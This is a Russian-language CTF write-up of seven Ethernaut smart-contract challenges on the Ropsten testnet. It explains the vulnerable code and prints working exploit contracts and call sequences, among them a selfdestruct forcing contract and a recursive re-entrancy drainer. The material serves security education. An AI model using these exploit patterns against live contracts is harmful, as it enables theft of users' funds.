R0 CREW

Разбор заданий Ethernaut CTF

Оригинал: blog.positive.com

Компания Zeppelin Solutions пригласила всех принять участие в CTF соревнованиях под названием The Ethernaut, которые стартавали вместе с ежегодной конференцией DevCon 3 в Канкуне. Первые пять участников решивших все задания, разделяли между собой призовой фонд размером в 10000$.

Для каждого таска в тестовой сети Ropsten был развернут контракт. Мы не смогли упустить шанса поучавствовать в CTF, поэтому представляем вашему вниманию разбор 7 заданий, выданных на соревновании.

0. Hello Ethernaut

Первый таск был разработан, чтобы в общем познакомится с CTF и разобраться с взаимодействем с контрактами.

После того как первый контракт был развернут, нужно было вызывать функцию info() для получения дальнейших указаний. Данная функция вернула сообщение: вы найдете то, что вам нужно в info1(). Вызов info1() выдал: Попробуй info2() с параметром “hello”. Далее потребовалось выполнить следующую последовательность действий:

  1. contract.info2(“hello”) → infoNum()
  2. contract.infoNum() → 42
  3. contract.info42() → theMethodName
  4. contract.theMethodName() → method7123949
  5. contract.method7123949() → Если знаешь пароль отправь его в функцию authenticate().
  6. На этом шаге нам нужно было каким то образом узнать пароль для функции authenticate().
  7. Чтобы получить его мы изучили память контракта с помощью Remix debugger.

Однако, можно было получить его гораздо проще, просто вызвав функцию contract.password(), которая возвращала значение ethernaut0.

После прохождения аутентификации с паролем мы успешно перешли к следующему заданию.

1. Fallback

Чтобы выполнить данное задание, необходимо стать владельцем контракта и обнулить его баланс. Это можно было совершить, выполнив функцию withdraw(), но она то как раз и была доступна только владельцу.

Удивительно, но fallback функция, могла назначить нас владельцем.

function() payable {
  require(msg.value > 0 && contributions[msg.sender] > 0);
  owner = msg.sender;
}

Как вы знаете, fallback функция отрабатывает каждый раз когда на контракт поступают средства. То есть, отправив эфир на контракт, мы сможем вызвать withdraw(), однако оператор require() не позволяет нам этого сделать, так как contributions[msg.sender] для нашего адреса - это 0. Для того чтобы увеличить данное значение нам просто нужно вызвать соответсвующий метод.

function contribute() public payable {
  require(msg.value < 0.001 ether);
  contributions[msg.sender] += msg.value;
  if(contributions[msg.sender] > contributions[owner]) {
    owner = msg.sender;
  }
}

В результате, нужно было проделать следующие вызовы:

  1. contract.contribute({value: 100})
  2. contract.sendTransaction({value: 100})
  3. contract.withdraw()

2. Fallout

Для решения этой задачи так же необходимо было стать собственником контракта. Если внимательно посмотреть на имя конструктора, то можно легко заметить, что буква l из названия контракта Fallout, была заменена на цифру ”1" в названии конструктора, что означает, что псевдо-конструктор никогда не выполнялся. Именно поэтому можно было вызвать функцию Fal1out и стать владельцем. Отправка решения боту Ethernaut привела нас к следующему заданию.

3. Token

Задание было на классическое целочисленное переполнение по нижней границе. Метод transfer() не проверял, что на балансе пользователя достаточно средств для перевода. Поэтому, вызывая метод с любым адресом и подставляя любое количество эфира с этим вызовом, мы могли сделать наш баланс таким же большим как и 2**256, что и было целью задания.

4. Delegation

Название задания являлось отсылкой к печально известному взлому Parity. Действительно, fallback функция имела знакомый код:

  if(delegate.delegatecall(msg.data)) {
    this;
  }
}

Разница между обычным call и delegatecall в том, что последний передает текущий контекст вызову, что означает, что в делегированном методе msg.sender будет указывать на исходного отправителя (tx.origin), а не на вызывающий его контракт. Второй момент заключается в том, что эта fallback функция передает заданное пользователем значение msg.data в delegatecall, что позволяет вызывать любую функцию в рамках контракта делегата, если мы корректно зададим сигнатуру метода. Целью был вызвов метода pwn, который мог бы изменить владельца:

function pwn() {
  owner = msg.sender;
}

Для вызова этой функции необходимо было узнать ее сигнатуру. Её можно было вычислить следующим образом:

web3.sha3("pwn()").slice(0, 10) // 0xdd365b8b

Отправка этих 4 байта в поле data транзакции, сделала нас владельцем контракта и позволила перейти к следующему заданию.

5. Force

В следующем уязвимом контракте вообще отсутствовал код, но зато там был крутой ASCII кот:

pragma solidity ^0.4.0;

contract Force {/*

MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

Целью таски было сделать так, чтобы баланс контракта перестал быть нулевым.
Поскольку не было никакой fallback функции принимающей средства, мы не могли отправить эфир напрямую. Тем не менее, сущесвует способ сделать это через встроенную функцию selfdestruct(). Её цель - удалить контракт из блокчейна, при этом отправив весь баланс адресу, переданном в первым аргументом.
Далее мы создали специальный эксплойт-контракт:

contract Suicide {
    function Suicide() payable {
        selfdestruct(0x24d661beb31b85a7d775272d7841f80e662c283b);
    }
}

После вызова функции Suicide() с некоторой суммой, например 1 Wei, контракт удалялся из блокчейн, при этом перечислял свой баланс на адрес Force.sol, который с радостью принимал наш перевод.

6. Re-entrancy

Из названия задания становится ясно, что необходимо проэксплуатировать уязвимость с повторным вызовом и истощить баланс контракта. Такая же уязвимость затронула The DAO, и привела к краже 50 миллионов долларов.

function withdraw(uint _amount) public {
  if(balances[msg.sender] >= _amount) {
    if(msg.sender.call.value(_amount)()) {
      _amount;
    }
    balances[msg.sender] -= _amount;
  }
}

Код контракта уязвим, так как уменьшение баланса происходит уже после завершения внешнего вызова. Когда эфир отправляется на какой-нибудь адрес, это так же может быть адресом смарт контракта, а не просто кошелька, в результате чего будет срабатывать fallback функция. Эта функция можно рекурсивно вызвать метод withdraw() при условии, что для этого достаточно газа. Выглядит это так:

Наш эксплойт-контракт сначала сделал депозит, а затем обнулил баланс контракта, исполнив рекурсивную цепочку вызовов withdraw() через fallback функцию:

import './Reentrance.sol';

contract Exploit {
    address target = 0x2bd292597661ef87e2045c474de35851eb5a65f2;
    Reentrance c;

    function Exploit() {
       c = Reentrance(target);       
    }

    function attack() payable {
       c.donate.value(0.1 ether)(this);
       c.withdraw(0.1 ether);
    }

    function() payable {
        c.withdraw(0.1 ether);
    }
}

После сдачи последнего задание нас поздравили вот такой картинкой:

Мы финишировали вторыми в общем зачете (0x949db1e44b7762683d1cf947d2b3c2358bd7434a), отстав от первого места на 7 минут. Мы хотели бы поблагодарить Zeppelin Solutions за прекрасные задания и за тот вклад, что они вносят в безопасную разработку смарт-контрактов.

© Translated by f0x0f special for r0 Crew